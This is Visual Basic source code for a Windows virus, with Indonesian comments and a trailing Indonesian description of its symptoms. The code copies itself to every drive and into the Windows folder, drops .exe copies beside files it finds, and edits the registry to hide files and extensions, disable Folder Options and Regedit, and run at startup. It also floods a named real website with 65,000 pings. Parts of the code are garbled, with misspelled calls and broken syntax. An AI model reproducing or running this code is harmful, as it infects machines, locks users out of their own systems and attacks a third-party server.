Option Explicit
'//////////////////////////Manipulasi dan pencarian///////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal bFailIfExists As Long) As Long
Private pbMessege As Boolean
'///////////////////Penggandaan/////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'/////////////////Pesan/////////////////////
Public buffer As String * 255
Public x As Long
'///////////////////DOS Attack/////////////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const IP_MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const IP_PING_TIMEOUT = 500
Public Type ICMP_OPTIONS
TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type
Public Type ICMP_ECHO_REPLY
Address As Long
Status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250
End Type
Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long
'///////////////////Manipulasi dan Pencarian///////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "c:\windows\tes_di_direktori_windows.exe", fPath & StripNull(WFD.cFileName) & ".exe", 1
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetsFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
Screen.MousePointer = vbDeffault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function
Sub Pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian Selesai", 0, "Tes Cari"
End Sub
'////////////////////Pengganda////////////////////
Private Function DriveType(Drive As String) As String
'///Mengecek Drive///
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & "\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
Private Sub KodePengganda()
'///Mengecek file dan mengcoopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'msgbox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub
Private Sub kopikewindows()
'///Mengkopi file virus kedirectory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub
'////////////////////////////Pertahanan/////////////////////////////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.shell")
b.RegDelete Value
End Sub
Sub kodepertahanan()
'///menyembunyikan file hide
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
'///NonAktiv Folder Option
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
'///Kunci Regedit
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTool", 1
'///Menyembunyikan Extensi File
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\test_di_direktory_windows.exe" & titik
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tes2", _
titik & "d:\tes.exe" & titik
End Sub
'//////////////////////////Pesan Sponsor/////////////////
Sub pesansponsor()
Dim tt As String
tt = """"
Log " You'll Never Walk Alone
LIVERPOOL
"Shell "C:\Program Files\Internet Explorer\IEXPLORER.EXE" & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub
'/////////////////////////DOS Attack////////////////////
Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long
Dim hPort As Long
Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS
Dim timeout_ping As Long
sDataToSend = "HAHAHAHAHHAHAHHAHAHAHAHAHAHAHIHIHIHIHIHIHIHIHIHIIHIHHAHAHAHAHAHAHHAHAHAHAHAIHIHIHIHIHIHIHHAHAHAHHAHAHIHIHIHIHIAHAHAHAHHAHAHAHAIHIHIHIHHIAHAHHAHAHAHAHIHIHIHIHAHAHHAHAHAHAHIHIHIHIHIHIIIHIHIHIHIHIIHAHAHHAHAHAHAHIHIHIHIHIHIHIHIHI"
dwAddress = AddressStringToLong(szAddress)
hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.Status * -1
End If
Call IcmpCloseHandle(hPort)
End Function
Public Function AddressStringToLong(ByVal tmp As String) As Long
Dim i As Integer
Dim Parts(1 To 4) As String
i = 0
While InStr(tmp, ".") > 0
i = i + 1
Parts(i) = Mid(tmp, l, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend
i = i + 1
Parts(i) = tmp
If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If
AddressStringToLong = Val("&H" & Right("00" & Hex(Parts(4)), 2) & _
Right("00" & Hex(Parts(3)), 2) & _
Right("00" & Hex(Parts(2)), 2) & _
Right("00" & Hex(Parts(1)), 2))
End Function
Sub SeranganDos()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long
For angka = 1 To 65000
Call Ping("www.bsi.ac.id", ECHO, 30)
Next angka
End Sub
Public Sub Log(strLog As String)
Dim ff As Integer
ff = FreeFile
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff
End Sub
Sub Main()
kodepertahanan
KodePengganda
Pencarian
pesansponsor
SeranganDos
End Sub
Komputer menjadi Lemot,Regedit dan Msconfig jg di tutup atau di sembunyikan oleh virus tersebut.Folder asli terkadang di hiden dan folder yang seharusnya memiliki "type" file folder berubah menjadi "tipe" application dan folder trsebut disisipin (.exe) dan parahnya lagi di
Jangan lupa sediakan 
Print this page